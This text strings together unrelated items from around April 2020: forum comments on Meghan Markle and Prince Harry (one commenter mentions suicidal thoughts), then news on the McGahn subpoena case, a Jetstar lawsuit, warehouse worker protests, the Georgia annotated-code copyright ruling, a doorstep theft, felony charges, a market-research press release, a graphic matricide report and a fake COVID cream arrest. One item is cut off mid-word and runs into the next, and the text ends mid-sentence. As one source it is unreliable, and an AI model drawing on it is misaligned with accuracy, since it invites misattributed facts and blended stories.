TikTok/IG/Kardashian version of beauty that when I see someone like Meghan who just shines it just surprises me in a good way Reply Thread Link Meghan has done some dumb shit. Harry is forever a piece of useless spoiled racist trash. Reply Parent Thread Link Fair and totally true. Reply Parent Thread Link Meghan is fucking Disney princess pretty. Reply Parent Thread Link Agreed. She was breathtaking on Suits. Reply Parent Thread Link honestly tired of reading anything about royals anymore, only came in to compliment the use of that excellent jin gif. A+ Reply Thread Link Edited at 2020-04-29 12:50 am (UTC) Reply Parent Thread Link Okay? All those other people in the photo do the same work but don't expect everyone to lick their ass. I've been over these royal fucks ever since I was kid, tbh. Reply Thread Link lol I mean, I just wanted to share something nice about her so I put together a few stories of her volunteering and stuff. No ass licking necessary, bb. Reply Parent Thread Link theyve probably been in LA longer than has been reported imo Reply Parent Thread Link I see their PR is finally taking some transparent baby steps. This is a very "Okay...and?" type of People puff piece. Reply Thread Link It feels like it's paving the way for the book that is supposed to be coming out. Reply Parent Thread Link It's just so clunky. They're trying but IMO not doing so well at following the "If you don't like what people are saying, change the conversation" rule of promotion. Reply Parent Thread Link if they wanted to be out of the spotlight so much...then go disappear? why does everything they do feel like a PR stunt. also, as a canadian I WANT MY MONEY BACK Reply Parent Thread Expand Link tbh i just wish more famous people had the george michael approach to volunteering Reply Thread Link I'm really glad charity was in Meghan's blood before she married Harry, but their missteps since leaving the UK has still been messy, from wanting Canada to pay their security then bouncing when that didn't pan out to their kind of bratty statements. They gotta get it together lol Reply Thread Link "On a more personal note, I just want to say this: I am with you. You are not alone. We're all just trying to get by. Give yourself a break. It's going to be OK. Hugs." I just want to say thank you for your personal note, OP. I've been having suicidal thoughts lately, because my life seems like a clusterfuck rn. I feel kinda better now because of your lil' note. So, thank you :) Reply Thread Link I hope ur doing ok bb. I've been going through the same and my MH is peak shit right now. I get it and I'm here if u need to talk (even to just a random unbiased, yet empathetic internet person) xx Reply Parent Thread Link I really mean it, youre not alone. If you wanna talk, Im here to listen Reply Parent Thread Link Holy shit. Reply Parent Thread Link jesus lol Reply Parent Thread Link holy shit [2] Reply Parent Thread Link Welp Reply Parent Thread Link Aww, she went from stanning Ivanka to following Melania's lead, bless. Reply Parent Thread Link A US appeals court on Tuesday heard oral arguments in a historic dispute between the Trump administration and the US House of Representatives over how much power Congress has to enforce subpoenas demanding testimony or documents. Holding arguments by phone, the US Court of Appeals for the District of Columbia Circuit considered whether a House committee can sue to enforce a subpoena for testimony from former White House Counsel Donald McGahn. Disputes between the political branches about their institutional prerogatives have occurred since the founding, but lawsuits between them are a novel and unsanctioned tactic, Hashim Mooppan, a Justice Department lawyer arguing for the Trump administration, told the court. Judge Judith Rogers appeared skeptical of the notion that courts cannot intervene when the executive branch and Congress are at odds. "Are you of the view there can be no role for the courts in terms of preserving the separation of powers?" she asked Mooppan. Rogers cast doubt on whether a US Supreme Court precedent from 1997 that the Justice Department heavily relies upon is as definitive as Mooppan has argued. The facts in the current cases are "materially different," she said. The 1997 case, Raines v. Byrd, said individual members of Congress could not challenge a federal law in court. Judge David Tatel, referencing separate cases now at the Supreme Court concerning the House's effort to obtain President Donald Trump's financial records, questioned whether the Justice Department's arguments are consistent. The Justice Department has said Trump can sue to block a subpoena but the House cannot sue to enforce one. A divided three-judge panel of the court ruled for Trump in February, saying the court had no place in settling the closely watched dispute between the executive and legislative branches of the US government. The court said that nine of its 11 judges would reconsider that ruling. Two judges who were appointed by Trump to the court, Neomi Rao and Gregory Katsas, are not participating, likely because both previously worked in the Trump administration. The Democratic-led House Judiciary Committee has said the earlier 2-1 ruling upset the balance of powers created by the US Constitution. The committee had sought testimony from McGahn, who left his post in October 2018, about Trump's efforts to impede former Special Counsel Robert Mueller's investigation that documented Russian interference in the 2016 US election. McGahn declined to testify before the committee after the Trump administration advised him to defy the subpoena. The Justice Department, arguing for the Republican administration, has argued in court that senior presidential advisers are absolutely immune from being forced to testify to Congress about official acts and that courts lack jurisdiction to resolve such disputes. The February decision, if embraced by the full D.C. Circuit, would significantly weaken Congress' investigatory powers, said Andrew Wright, a lawyer at K&L Gates who advises on congressional investigations. If that happens, lawmakers may consider reviving "inherent contempt," a dormant, extrajudicial power to arrest, detain and fine that Congress has not used since the 1930s, Wright said. The court is considering the McGahn case alongside another dispute between the House and the Trump administration. In that case, the House sued over Trump's announcement that he would spend $8.1 billion for a wall on the US-Mexico border despite the fact Congress had appropriated only $1.375 billion. The case raises issues similar to the McGahn case, with a district court judge ruling that the House did not have standing to sue. Elly Lees, a former customer services officer, alleges she saw a Jetstar flight nearly run over parents and Children at Gold Coast Airport on June 24, 2018 A former Jetstar worker who claims she was left mentally scarred after allegedly seeing a plane almost run over a family on a tarmac is suing the airline for more than $250,000. Elly Lees, a former customer services officer, alleges she watched a Jetstar aircraft nearly plough into parents and their children at Gold Coast Airport on June 24, 2018. The 53-year-old claims she has suffered anxiety and depression since the alleged incident. Ms Lees alleged she has been left 'significantly distressed' and claims Jetstar is liable, The Courier Mail reported. The same day, Ms Lees claimed she suffered a back injury while trying to lift and push a 'heavy passenger' from the plane on a wheelchair. Ms Lees is alleging that Jetstar is liable for negligence (stock) She alleges she felt pain in her lower back as she pushed the chair on an uneven surface. She is suing Jetstar for a total of $254,279, with $163,990 due to loss of income. Ms Lees is claiming a further $34,552 for economic loss because her new employer doesn't pay her as much as her job with Jetstar. The 53-year-old (pictured) is suing Jetstar for a total of $254,279, with $163,990 A Jetstar spokesman told Daily Mail Australia it was aware of the claims but strenuously denied them. 'We are aware of the claims made by Ms Lees and strongly deny the allegations of negligence,' he said. 'At all times the space between the two aircraft was in excess of CASA requirements and Ms Lees followed the standard procedures for the disembarkation of a wheelchair passenger.' The spokesman also said that Jetstar has compensated Ms Lees for her medical costs. 'We have paid all of Ms Lees weekly benefits and medical costs in accordance with her statutory entitlements under Workers Compensation.' No date has been set for hearing. The Cabinet of Ministers plans to organize a number of similar flights in late April and May The aircraft of Ukraine International Airlines (UIA) landed at Boryspil Airport: more than two hundred Ukrainians returned to their homeland from the United States. This was announced by Ambassador of Ukraine to the United States Volodymyr Yelchenko on his Twitter page. "@fly_uia flight from Miami FL just landed in KBP. Temperature check upon arrival. Be safe back home!" he wrote. According to the Embassy of Ukraine in the US, 259 passengers were on board the aircraft. The special flight also brought home 119 Ukrainian students who were in the United States under the American FLEX education program. Ukrainian Cabinet of Ministers plans to organize a number of similar flights in late April and May. As we reported earlier, Ukraine would pay compensation to the Ukrainian airlines for the evacuation charter flights that were performed after the government stopped passenger air transportation due to the spread of coronavirus. They were forced to fly empty in one direction, taking people, for example, from Egypt. This is a loss-making flight, so we made such a decision earlier at a government meeting. Now we are awaiting detailed calculations from air carriers to provide them with subsidies, and these compensations will help them to function until the moment of resumption of air traffic," Minister of Infrastructure stated. A TEENAGER is among the nine suspects detained for the kidnapping for ransom of St Helena co A s the Covid outbreak grinds on, the UK Government is creating the unfortunate impression that it is not certain what it wants. The public know and understand the Government will make mistakes and has to put out multiple messages. On the one hand there is the essential message stay at home; on the other, necessary talk of five tests that might unlock a return to normality. What is not inevitable is blurred messaging. Some ministers seem to be briefing about a relatively rapid return to business as usual. This is unlikely. A cycle of looser and tighter controls is probable. No one should be talking about exactly when exit from present controls should happen. But the Government should be starting a conversation about how it can happen, rather than leaking and speculating just as they should sharpen up those five tests. Glen OHara Editor's reply Dear Glen Ive sympathy for ministers and officials. If they cancel press conferences, theyll be accused of hiding the truth. If they hold them, theyll be accused of mixed messages only a robot could say exactly the same thing every day. If they stick to the five tests, well ask if they mean anything. If they dont, we wont have a clue how lockdown will end. The Cabinet is mostly inexperienced and the best potential ministers were driven out by Brexit: but testing is up, the tracing app may work and maybe well muddle through. Julian Glover, Associate Editor Justice at risk BEIJING, April 28, 2020 /PRNewswire/ -- A news report by Liu Haiying from Science and Technology Daily: On April 20, World Health Organization (WHO) Director-General Tedros Adhanom Ghebreyesus issued a warning at a news conference in Geneva, saying that lack of international solidarity is aggravating the current pandemic. "Don't take this virus as an opportunity to fight against each other or score political points. It's dangerous. It's like playing with fire," he said, pointing out that without national unity and global solidarity, the worst is yet "ahead of us." Throughout human history, various viruses have always lurked. Although the level of human science and technologies is constantly improving, sometimes we are still helpless in the face of viruses. The outbreak of COVID-19 is proved to be a fierce enemy. It's even rare once in a century for a pandemic with such rapid spread, wide transmission and profound impact. Where does this current virus come from? What evolution has it undergone? Everyone wants to know the answers. Though we may not get them any time soon, the truth will eventually reveal itself. Let professionals do their job. Scientific problems will always need to be solved by scientists. This is common sense. This is why the Office of Science and Technology Policy in the White House sent a letter to the National Academies of Sciences, Engineering, and Medicine (NASEM) as early as February, requesting it to rapidly solicit opinions from scientists regarding the search on the virus origin. It is the responsibility of scientists to search the origin of the virus, and it cannot be passed on to others. Yet, scientists are not omnipotent and the research on virus origin searching cannot be done overnight. Dr. Richard Y. Zhao, fellow of the American Academy of Microbiology and a virologist at the University of Maryland, pointed out that the research on virus origin searching is a scientific challenge filled with great uncertainty. Scientists need to undertake an epidemiological survey, genomic analysis, host (intermediate host and natural host) screening and identification, field sampling, homology research on isolated virus strains, and final bioinformatics analysis and identification. Only after all these steps have been completed can they track back to the origin of a virus. So, it's fair to say that the research on virus origin searching is a long and time-consuming process, and scientists should be given sufficient time to undertake their duties. Currently, there are many scientists all over the world conducting scientific research on this virus, and the research on virus origin searching is naturally a key task. Yet, the research is still in its early stages. There's a recent update of a significant research achievement: COVID-19 cannot be made in a laboratory, but is the product of natural evolution. It is possible that this is a natural selection of the virus to human or animal host. On March 17th, the findings were published on the journal Nature Medicine by six scientists from the United States, The United Kingdom and Australia, including W. Ian Lipkin, world-renowned "virus hunter" and profeesor of Columbia University and Kristian Andersen, associate professor of immunology and microbiology at Scripps Research, Robert F. Garry of Tulane University and member of the Standing Committee on Emerging Infectious Diseases and 21st Century Health Threats. They are regarded as authorities in academia, so their achievements in virus origin searching should be paid high attention to. However, there is still a long way to go in terms of searching the virus origin from the perspective of science. The current achievements known to the public are still far away from the true answer. As the global pandemic worsens, it is very important to take scientific and decisive measures to prevent and control the virus with a scientific attitude. Exploiting the virus and the pandemic as political tools not only does not help the prevention and control of the pandemic, but also will backfire, causing more serious consequences. For this reason, many scientists around the world have called to treat the pandemic with a scientific attitude, to promote scientific demonstration, and to promote international cooperation. Under the circumstances that many normal scientific research activities in the world have been severely affected, the cooperation among different countries, and their scientists is even more precious. As stated in NASEM's reply to the request from the Office of Science and Technology Policy of the White House, international scientific collaboration, which is already occurring, is more important than ever in addressing these research questions and overcoming global challenges brought by the current pandemic. SOURCE Science and Technology Daily Reach key decision makers with sales-ready leads that shorten your sales process. Move the needle by delivering funnel qualified leads to your sales team. Learn more Amazon has promised to check temperatures and provide surgical masks for workers at its fulfillment centers and Whole Foods grocery stores starting next week, according to multiple reports. Instacart workers have not received similar promises. The news came in the midst of brewing turmoil among employees. Some full-time and contract workers at Whole Foods, Amazon and Instacart walked out or called in sick on Monday and Tuesday, ramping up their fight for protection from coronavirus infection. The UFCW (United Food and Commercial Workers) on Monday issued a statement in support of the demands of workers at Amazon, Instacart and Whole Foods. Fourteen state attorneys general last week signed a letter to the CEOs of Amazon and Whole Foods, asking them to improve their sick leave policies. The letter asks the CEOs to adopt a more generous paid leave policy for their employees and independent contractors in order to curb the spread of the coronavirus during the current pandemic. It cites the CDCs interim guidance for businesses and employers, and points out that the companies COVID-19 sick leave policies are inconsistent with those recommendations. It warns that the companies are placing their other employees, their customers, and the public at large at significant risk of exposure to COVID-19. Their narrow criteria is particularly insufficient given the realities of the public health crisis, where the lack of access to COVID-19 testing has been widely reported, and warns this would seriously undercut efforts to promote social distancing, the letter warns. Amazon has responded to the letter and is engaged in discussions about strengthening its paid sick leave policies for employees, according to the office of Massachusetts Attorney General Maura Healey, who wrote the letter. Deaf Ears? Mondays labor action had absolutely no impact to Instacarts operations, a company spokesperson said in a statement provided to the E-Commerce Times by company rep Dani Pietro. We saw 40 percent more shoppers on the platform on Monday compared to the same time and day last week. A D V E R T I S E M E N T Whole Foods Market saw no changes to overall absenteeism and we continued to operate all of our stores without interruption, a company spokesperson said in a statement provided to the E-Commerce Times by company rep Rachel Malish. The workers have no choice but to protest, said Rob Enderle, principal analyst at the Enderle Group, because in effect the firms are passing the risk on to them without adequate compensation. Their only other alternative is to refuse to work, which isnt a tolerable solution for many individuals, Enderle told the E-Commerce Times. Amazon and other firms behaving this way are unintentionally laying the groundwork for very invasive unionization, particularly when they fire organizers, he added, referring to the termination of an Amazon strike leader following an action on Monday. Why Workers are Furious Over the past few weeks, some staff in at least 10 Amazon warehouses in the United States have been infected by COVID-19 but the company apparently has not shut down those warehouses. Workers at Amazons DTW5 sorting center south of Detroit reportedly learned a colleague had been infected from rumors on Facebook. A human resources staffer later confirmed the rumors in the break room. After confronting management, they learned that five colleagues who had been in contact with the infected person had been notified. Whole Foods employees in at least three locations San Francisco, Huntington Beach and Chicago have been infected. Instacart reportedly informed a shopping team that a supermarket employee at Star Market in Auburn, Massachusetts, one of its grocery store partners, was diagnosed with COVID-19. It reportedly offered to provide any team member feeling unsafe to work with seven to 30 days of unpaid time off on a case-by-case basis, and urged anyone who might have developed COVID-19 symptoms to contact a health provider. A D V E R T I S E M E N T Given the work conditions, many of these workers will need PPE (personal protective equipment) to keep themselves safe, as well as prevent potentially spreading COVID-19 to customers, observed Ray Wang, principal analyst at Constellation Research. Hazard pay, which the workers are demanding, may be tough to win, he told the E-Commerce Times. However, it makes sense to improve working conditions for safety and provide PPE, Wang added. Bring on the testing of workers and thermometer scans. Actions Taken The companies have responded to repeated petitions from workers for better working conditions, but the workers have deemed those efforts inadequate. We are consulting with local and federal health authorities and medical experts how to handle building closures for deep cleaning if an employee tests positive for COVID-19, an Amazon spokesperson said in comments provided to the E-Commerce Times by company rep Alyssa Bronikowski. Amazons evaluation process examines various issues, including where the affected employee was in a building, for how long, how long ago the employee was there, and who interacted with the employee. Anyone in close contact with an infected person at an Amazon building will be asked to self-quarantine for 14 days with pay, in addition to unlimited unpaid time off for all hourly employees through the end of April. Paid sick leave is new for Amazon, Wang said. Amazon also has increased the frequency and intensity of cleaning at all sites, implemented various social distancing measures, and insisted on frequent hand washing for at least 20 seconds or use of an alcohol-based hand sanitizer. Instacart in the last four weeks has introduced new product features, health guidelines, shopper bonuses, sick leave policies, and safety supplies, according to a spokesperson, as well as pay for those affected by COVID-19. Whole Foods has rolled out extensive measures to keep employees safe at work, an additional $2 per hour in pay, and increased overtime pay, according to a spokesperson. It is offering an additional two weeks of paid sick time for employees who are in quarantine or have tested positive for COVID-19. Amazon Under NYs Microscope Amazon fired an activist who led Mondays walkout at its New York warehouse. That prompted New York City Mayor Bill de Blasio to call for an investigation. It also sparked condemnation by New York State Attorney-General Letitia James, who described the firing as disgraceful, pointed out that the right to organize is codified into the states law, and said her office was considering all legal options, including calling on the U.S. National Labor Relations Board to undertake an investigation. Right now, its cheaper to replace workers than it is to protect them, Enderle said. Until it stops being cheaper to allow employees to die than to protect them, you wont get a middle ground to reach a collective decision. Governments need to implement robust financial incentives, like requiring companies to pay adequate death benefits, if they want the situation to change, he suggested. Companies risk huge fines, costly regulations and draconian responses to mass employee deaths in states that have substantial employee rights, Enderle cautioned, such as California and New York. In a copyright case with potentially wide-ranging implications, the U.S. Supreme Court this week held that annotations added to the State of Georgias legal code are not eligible for copyright protection. The 5-4 opinion, written by chief justice John Roberts, upholds a 2018 appeals court decision that reversed a 2017 summary judgment in Georgia v. Public.Resource.Org, in which the state of Georgia sued a public access advocacy group for copyright infringement for making the states complete annotated legal codewhich is published commercially by the LexisNexis Groupfreely available online. In upholding the appeals court reversal, the Supreme Court held that the annotations amended to the state of Georgias legal code were ineligible for copyright protection under the government edicts doctrine, a legal regime developed from a trio of 19th-century Supreme Court decisions. The animating principle behind the government edicts doctrine is that no one can own the law, Roberts wrote. Over a century ago, we recognized a limitation on copyright protection for certain government work product, rooted in the Copyright Acts authorship requirement. Under what has been dubbed the government edicts doctrine, officials empowered to speak with the force of law cannot be the authors ofand therefore cannot copyrightthe works they create in the course of their official duties. The case revolves around the publication of the Official Code of Georgia Annotated (OCGA). While the OCGA does not claim copyright over the text of the statutes themselves, at issue are the accompanying annotations which includes summaries of judicial decisions and other references, including editors notes. In a 2019 New York Times piece, Adam Liptak explained the significance of legal code annotations. "Only a very bad lawyer would fail to consult [the annotations] in determining the meaning of a statute," Liptak wrote. "For instance, Georgia still has a law on the books making sodomy a crime. An annotation tells the reader that the law has been held unconstitutional." To create its annotations, Georgia contracted Matthew Bender & Co., a division of LexisNexis, under a work-for-hire agreement. Under that agreement, the state maintains copyright ownership of the work , and in exchange for LexisNexis's army of researchers assisting with the creation of the annotations, grants LexisNexis an exclusive license to publish the OCGA (a 54-volume hard copy currently retails for $412.) However, in the digital age such public/private publishing arrangements are coming under increased scrutiny. Enter long time public advocate Carl Malamud and his nonprofit advocacy group Public Resource, an organization committed to making taxpayer-funded government documents and publications broadly available. In an effort to press the issue of public access to official laws and legal documents, Public Resource scanned and posted a free version of the OCGA in 2013, and distributed copies via thumb drives, leading the State of Georgia to sue for copyright infringement in 2015, arguing that each of the annotations contained in the OCGA is an "original and creative work of authorship." But because Georgias annotations are in effect "authored by an arm of the legislature in the course of its legislative duties," Roberts held, they "are outside the reach of copyright protection." Roberts was joined in the majority by Justices Sotomayor, Kagan, Gorsuch, and Kavanaugh. Justices Alito, Breyer, Ginsburg, and Thomas dissented. In his dissent, Justice Clarence Thomas noted that 25 other jurisdictions22 states, 2 territories, and the District of Columbiacurrently rely on similar arrangements to produce their annotated state codes. "The creators of annotations are incentivized by the copyright laws to produce a desirable product," Thomas argues, musing that "perhaps to the detriment of all, many states will stop producing annotated codes altogether." In its 2019 amicus brief, lawyers for LexisNexis said exactly that. "LexisNexis devoted countless hours to creating the Annotations for Georgia, putting in precisely the type of creative, labor-intensive effort that the Copyright Clause and the Copyright Act seek to encourage and protect," the brief states. "If Georgias copyright is destroyed and LexisNexis thereby loses its exclusive right to sell the Annotations, LexisNexis will no longer create those Annotations unless Georgia pays for this work, likely with taxpayer funds." The animating principle behind the government edicts doctrine is that no one can own the law, Roberts writes in the majority opinion. Which is exactly how it should be, Public Resource argued in its 2019 brief urging the Supreme Court to take up the case. "Georgia made the decision to farm out preparation of the OCGA to Lexis, not to pay Lexis for its work, and to keep the copyright for itself," the brief states, arguing that Georgia effectively "manufactured its own exclusive right in a work" by refusing to pay a contractor for it. "The state could ensure the publication of the OCGA by creating it using its own staff, or by paying Lexis the way it pays innumerable other third parties." Indeed, writing for the majority Roberts evoked a public legal and legislative arena more complicated than incentivized by copyright. "If Georgia were correct, then unless a State took the affirmative step of transferring its copyrights to the public domain, all of its judges and legislators non-binding legal works would be copyrighted. And citizens, attorneys, nonprofits, and private research companies would have to cease all copying, distribution, and display of those works or risk severe and potentially criminal penalties," Roberts pointed out, noting that unlike other intellectual property protections, like patents, copyrights are "instant and automatic," and can last well over a century. The case was closely watched (including by the publisher and library communities) and drew numerous amicus briefs on both sides, including from the Copyright Alliance, which warned that a ruling in favor of Public Resource could "invalidate hundreds, if not thousands" copyrights owned by states, and upend a long-existing publication system. "The economic reality is that states cannot afford to annotate their own laws," the Copyright Alliance stated in its 2019 brief. "And while authors will be harmed by losing their incentive to create statutory annotations, the ultimate harm will fall on the public." On that potential scenario, the court punts the issue to Congress. "Georgia submits that, without copyright protection, Georgia and many other States will be unable to induce private parties like Lexis to assist in preparing affordable annotated codes for widespread distribution," Roberts writes. "That appeal to copyright policy, however, is addressed to the wrong forum. As Georgia acknowledges, 'it is generally for Congress, not the courts, to decide how best to pursue the Copyright Clauses objectives.'" A thief has been caught on CCTV stealing a food parcel from the doorstep of an 83-year-old man who was in isolation due to the coronavirus. The masked crook struck just 30 minutes after milk, bread and eggs were left at the house in Swindon, Wiltshire, in the early hours of the morning. Veronica and Vito Zarola discovered the crime several hours later when they checked their security camera. The food had been ordered for Mrs Zarola's elderly father, who is isolating due to the threat of Covid-19. The masked crook (pictured) struck just 30 minutes after milk, bread and eggs were left at the house in Swindon, Wiltshire, in the early hours of the morning The couple saw the package had arrived at their home at 2am, but when they went to collect it they found an empty step. They played the footage for longer and watched in horror as the hooded figure made off with the care package. Mrs Zarola said: 'It's a normal thing for us to check the CCTV first thing in the morning, which we did on the day it happened. 'We saw the milk, eggs and bread had been delivered, so my husband Vito went to grab them and he came back and told me they weren't there. 'They came right up to my door, bold as brass, took the eggs and bread but left the milk. 'I'm so angry because those eggs were for my dad Bruno, who is 83-years-old and lives on his own. He's self-isolating and he's a vulnerable person, so I'm really angry. This CCTV grab shows the culprit making off with bread, eggs and milk after spotting them on the doorstep at 2am 'It does make you scared that in this current climate someone will come up to your door and take something. 'We called the police and they said we needed to let the company know this was happening because other people could be looking to take deliveries.' Mr and Mrs Zarola have since alerted delivery service Dairy Home Team, which they have used for the past five years. A spokesman for Wiltshire Police said: 'We can confirm we've received the report and would urge residents to be vigilant. 'Anyone with information about the theft is asked to call police on 101.' The footage was recorded in the early hours of Tuesday, April 14. JERSEYVILLE Recent felony filings by the Jersey County States Attorneys Office include: Mathew T. Bartels, 22, of Jerseyville, was charged April 23 with residential burglary, a Class 1 felony, and theft. According to court documents, on April 21 Bartels allegedly broke into a residence in the 17,400 block of Indian Lake Road and took a number of items valued in excess of $500. Bail was set at $10,000. Brandon K. Ervin, 33, of Jerseyville, was charged April 20 with criminal damage to property, a Class 4 felony, and domestic battery, a Class A misdemeanor. According to court documents, on April 18 Ervin allegedly damaged a 70-inch television at his home during an argument with a household member. He also pushed that household member down several times during the argument. Bail was set at $5,000. Dcarlos J. Benton, 26, of Rochester, Illinois, was charged April 17 with unlawful possession of cannabis, a Class 4 felony. According to court records, on April 8 Benton was allegedly found to be in possession of between 100-500 grams of cannabis. No bail was noted. Danielle M. Diaz, 28, of Roxana, was charged April 27 with unlawful possession of methamphetamine, a Class 3 felony. According to court documents, on April 26 she allegedly was found to be in possession of less than five grams of methamphetamine. No bail was noted. New York, April 27, 2020 (GLOBE NEWSWIRE) -- The global Hospital Equipment and Supplies market is forecast to reach USD 84.60 Billion by 2027, according to a new report by Reports and Data. The market is witnessing a surge in demand owing to the rising prevalence of lifestyle diseases, and an increase in the number of hospitals. Moreover, the rising trend of telemedicine and growing awareness for better healthcare is fostering the market's demand. However, the burgeoning prevalence of home care services are hampering the market's demand. Rapid urbanization has changed the lifestyle of the people and, in turn, has increased the prevalence of lifestyle diseases, thus, augmenting the demand for the market product. The advent of the concept of personalized medicines and other available diagnostics options in the market are restraining the demand for hospital equipment and supplies. In addition, the decline in private health insurance and stringent regulations by the government are hindering the growth of the market. The advent of government-funded urban healthcare schemes in nations such as Saudi Arabia and India are creating a demand for the latest and additional equipment and supplies. Moreover, the enhancement of these schemes in China, Japan, Thailand, and Singapore has the potential to increase expenditure in the healthcare sector. The Asia Pacific region is forecasted to grow with the highest growth rate owing to the increase in construction of hospitals and rise in the number of people opting for advanced therapies. Get FREE Sample Copy with TOC of the Report to understand the structure of the complete report@ https://www.reportsanddata.com/sample-enquiry-form/2963 The COVID-19 impact: As the COVID-19 crisis grows, manufacturers are quickly changing their practice and purchasing priorities to meet the required demand of a pandemic. Over the couple of months, there will be a series of both positive and negative shocks, as medical device OEMs and their suppliers respond to providers changing needs. The medical vendors will be the beneficiaries of the pandemic as they meet the growing demand for beds and basic hospital supplies. Several of these products will be low-margin disposables, including masks, wipes, disposable hospital room products, and standard examination supplies. The demand for these products should increase markedly for a few weeks, but a robust supplier base will be able to ramp to meet demand rapidly. Also benefiting from demand but more constrained in capacity will be manufacturers of diagnostic consumables and imaging suppliers as more patients are tested for coronavirus, and those diagnosed are tracked for respiratory issues. Further key findings from the report suggest The public hospitals are growing at a higher CAGR of 12.8% owing to the initiatives taken by the government in developing nations to upscale the healthcare facilities. Government in Asia Pacific and MEA countries are focusing on proper medical supplies and equipment and enhancing the infrastructure of the public hospitals. The increase in the number of surgical operations, is driving the demand for the sterilization and disinfectant equipment. Strict legislative guidelines, such as the Affordable Care Act, have forced hospitals administrative to maintain clean facilities. The recent outbreak of COVID-19 has led organizations to understand the necessity for healthcare facility cleanliness and disinfection. The global spending on healthcare is rising steadily. It was USD 7.8 trillion in 2017 or about 10% of GDP and USD 1,080 per capita. Pharmacies led the market of hospital equipment and supplies. This distribution channel provides personalized services at an affordable price. They are wholesale suppliers to hospitals and have a contract to provide optimal quality medical supplies. North America dominated the market for hospital equipment and supplies. The consistent focus of the region on cost-effective and innovative procedures adopted in the region are driving the market. According to the Centre for Disease Control and Prevention (CDC), in 2017, durable medical equipment in the U.S. was USD 54.4 billion, structures and equipment were USD 116.9 billion, while government administration (which included medical supplies among other things) was USD 45 billion. In Singapore, there were 10,340 acute hospitals in 2017, 10,826 in 2018 and 11,321 in 2019. The country is consistently investing in healthcare to enhance its medical facilities to offer world class treatment. The country dazzled as the world leader in medical manufacturing in 2018. Key participants include Johnson & Johnson, Baxter International, Medtronic, Boston Scientific Corporation, GE Healthcare, Smith & Nephew, Stryker Corporation, B Braun, Thermo Fisher Scientific, and Covidien, among others. BUY NOW (Customized Report Delivered as per Your Specific Requirement)@ https://www.reportsanddata.com/checkout-form/2963 For the purpose of this report, Reports and Data have segmented into the global Hospital Equipment and Supplies market on the basis of product, expenditure type, distribution channel, and region: Product Outlook (Revenue, USD Billion; 2017-2027) Disposable Hospital Supplies Drapes Gloves Gowns Procedure Kits and Trays Mobility Aids and Transportation Equipment Stretchers Wheelchairs Operating Equipment Operating Room Lights Operating Room Tables Patient Examination Devices Stethoscope Thermometer Sterilization and Disinfectant Equipment Chemical Sterilization Physical Sterilization Radiation Sterilization Syringes and Needles General Syringes Specialized Syringes Expenditure Type Outlook (Revenue, USD Billion; 2017-2027) Public Hospitals Private-Profit Hospitals Private-Non Profit Hospitals Distribution Channel Outlook (Revenue, USD Billion; 2017-2027) Pharmacies Retail Medical Stores Online Retailers To identify the key trends in the industry, click on the link below: https://www.reportsanddata.com/report-detail/hospital-equipment-and-supplies-market Regional Outlook (Revenue, USD Billion; 2017-2027) North America U.S Europe UK France Asia Pacific China India Japan MEA Latin America Brazil Take a Look at our Related Reports: ICU Beds Market: https://www.reportsanddata.com/report-detail/icu-beds-market Ventilator Market: https://www.reportsanddata.com/report-detail/ventilator-market Disposable Masks Market: https://www.reportsanddata.com/report-detail/disposable-masks-market About Reports and Data Reports and Data is a market research and consulting company that provides syndicated research reports, customized research reports, and consulting services. Our solutions purely focus on your purpose to locate, target and analyze consumer behavior shifts across demographics, across industries and help clients make a smarter business decision. We offer market intelligence studies ensuring relevant and fact-based research across a multiple industries including Healthcare, Technology, Chemicals, Power, and Energy. We consistently update our research offerings to ensure our clients are aware about the latest trends existent in the market. Reports and Data has a strong base of experienced analysts from varied areas of expertise. A grisly scene met the police when they found a New York City man who hacked his mother with a meat cleaver. In the same location, the mother's slashed body was seen by the authorities. Before she died at the hands of her son, the mother was sick with COVID-19 and survived it. Ironically the virus did not get her but she died from the brutal knifing from her son. The police even encountered the macabre scene of the son over the hacked corpse of his mother. It was unknown why the son did it according to the arresting officers. Scene of the crime One Friday, the peace of a 7-story Queens apartment building was shattered when a 911 call was made. When the police arrived, they were met by 48-year-old at the 4th-floor of the apartment. Also in the area is his 78-year old mother, Carmelita Cabansag lying on her own blood. According to the neighbors, the woman was originally from the Philippines, reported QNS.com. The police had no idea what caused the son to butcher his mom with a knife. Although the Daily News found a source who said that a passerby heard an argument in her home. Soon after, right before 8 a.m. on Friday, someone called 911. When the police found the body of Cabansag, she was butchered hideously with two knives that were found on the floor. Paramedics never had a chance to revive her because she was lifeless when they arrived. Also read: Skeletal Remains of Missing Woman Uncovered in Indiana By Accident Numerous wounds caused severe bleeding to the elderly woman. Aside from the wounds, severe head trauma also lead to her death. Right after the arrest of Galicia, the corpse of Cabansag was checked by the Medical Examiner to settle the cause of death. The Galicia was sent to Elmhurst because of stab wounds, found on his chest and body. How he got the wounds were not explained or how serious they were, but it might be clear how it happened upon further investigation. The New York Post reports that Galicia confessed to the butchering of his mother with sharp knives. He admitted to the murder at the NYPD 108 precinct wher and e he questioned. Authorities charged him with second-degree murder, criminal mischief and possession of a weapon as well. Not much is known he would commit murder, and he is considered to be emotionally disturbed. All about the victim New York Daily News reported that Carmelite survived COVID-19. Her husband already died a few years back before her. The 51-year-old building superintendent, Juan Velasquez mentioned that she was healing from COVID-19. She just quarantined herself which was crazy to add Juan Velasquez. She still worked despite her advanced age and she told the superintendent how she was helping relatives back. Prior to the woman's death, there were already suspicious events that happened in the area.The superintendent revealed a video of two men breaking the glass at the main doorways. But the police are looking for a connection between Cabansag and the two intruders. Related article: Pantless Dead Woman Dumped in Trash Can Via Shopping Cart @ 2022 HNGN, All rights reserved. Do not reproduce without permission. A 45-year-old man is in the grip of the Awutu Breku Police for selling some cream that he allegedly claimed could prevent people from contracting the novel coronavirus COVID-19. The man, King David, who advertised and sold his magic cream in a vehicle he had branded with the inscription Corona Virus Preventive Cream, and which also bore his address and other details, was picked up at Awutu Breku. Police The Awutu Breku District Police Commander, Superintendent Joshua Semanyo, who confirmed the arrest, said the suspects were currently under investigations. He told journalists that he had information that a herbalist was in town with a sticker on his vehicle claiming that he had medicine that could prevent coronavirus. So I sent my district patrol team to look for him in town and eventually they had him and brought him. We are yet to find out whether his claim is true or not and that is where we are now, he said. Superintendent Semanyo said the case had been referred to the Criminal Investigations Department (CID) to be investigated, adding that the police found out that he dealt in some herbal products and provided some certificates that licensed him to deal in herbal medicines. But to have medicine for coronavirus prevention, that is where our doubts are, he said. Investigation Superintendent Semanyo said police investigations would be to check and see whether he had gone to the Food and Drugs Authority (FDA) and received approval to deal in the medicine for the prevention of coronavirus. He is claiming, and we have to investigate his claims. If his claims are not true we put him before court, and if they are true, we let him go, 